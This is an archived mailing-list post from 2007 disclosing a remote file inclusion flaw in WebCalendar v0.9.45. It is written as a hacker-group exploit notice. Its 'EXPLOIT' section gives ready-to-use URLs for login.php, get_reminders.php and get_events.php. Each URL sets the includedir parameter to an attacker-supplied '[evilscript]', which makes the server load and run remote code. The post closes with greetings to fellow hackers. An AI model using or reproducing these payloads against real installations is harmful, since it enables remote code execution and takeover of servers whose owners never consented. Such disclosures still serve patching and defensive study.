Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Absolute Image Gallery Gallery.ASP (categoryid) MSSQL Injection Exploit

Vulnerabilities â FtpLocate

From:	drackanz_(at)_gmail.com <drackanz_(at)_gmail.com>
Date:	16.03.2007
Subject:	WebCalendar v0.9.45 (13 Dec 2004) (login.php) Remote File include

|-------------------------------------------------------------------------------
|
|                                                                               |
|  WebCalendar v0.9.45 (13 Dec 2004) (login.php) Remote File include            |
|                                                                               |
|    Script  : WebCalendar                                                      |
|    Version : v0.9.45 (13 Dec 2004)                                            |
|    Authord : Drackanz                                                         |
|    Contact : Drackanz [at] gmail [] com                                       |
|    Vendor  : http://www.k5n.us/webcalendar.php                                |
|-------------------------------------------------------------------------------
|
|            Bug in :                                                           |
|                      login.php                                                |
|                     get_reminders.php                                         |
|                      get_events.php                                           |
|-------------------------------------------------------------------------------
|
|   EXPLOIT :                                                                   |
|                                                                               |
|   http://localhost/[calendar]/ws/login.php?includedir=[evilscript]            |
|   http://localhost/[calendar]/ws/get_reminders.php?includedir=[evilscript]    |
|   http://localhost/[calendar]/ws/get_events.php?includedir=[evilscript]       |
|-------------------------------------------------------------------------------
|
| Greetz : Leo,hardose,s4mi,fucker_net,The Casper,Broken-Proxy,Simo64,          |
|           exe_crack,b0rizq,righterz,dragon,rachidox All Moroccan HackerX;     |
|                                                                                  
     |
---------------------[ [Mor0ccan ISLAM Defenders Team] ]-------------------------